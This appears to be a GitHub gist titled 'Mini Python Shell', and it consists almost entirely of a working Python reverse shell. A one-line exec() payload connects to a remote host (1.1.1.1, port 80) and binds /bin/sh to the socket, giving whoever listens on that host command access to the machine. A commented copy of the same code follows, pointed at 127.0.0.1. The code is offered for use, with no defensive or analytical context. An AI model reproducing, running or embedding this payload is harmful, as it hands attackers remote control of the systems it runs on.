Skip to content

Instantly share code, notes, and snippets.

@btoews
Created December 28, 2011 03:16
Show Gist options
  • Save btoews/1526000 to your computer and use it in GitHub Desktop.
Save btoews/1526000 to your computer and use it in GitHub Desktop.
Mini Python Shell
exec("import socket,subprocess\nHOST = '1.1.1.1'\nPORT = 80\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\nf = s.fileno()\nsubprocess.Popen('/bin/sh',stdin=f,stdout=f,stderr=f)")
#(c) mastahyeti
#mini python shell
#import socket,subprocess
#HOST = '127.0.0.1'
#PORT = 80
#s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect((HOST, PORT))
#f = s.fileno()
#subprocess.Popen("/bin/sh",stdin=f,stdout=f,stderr=f)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment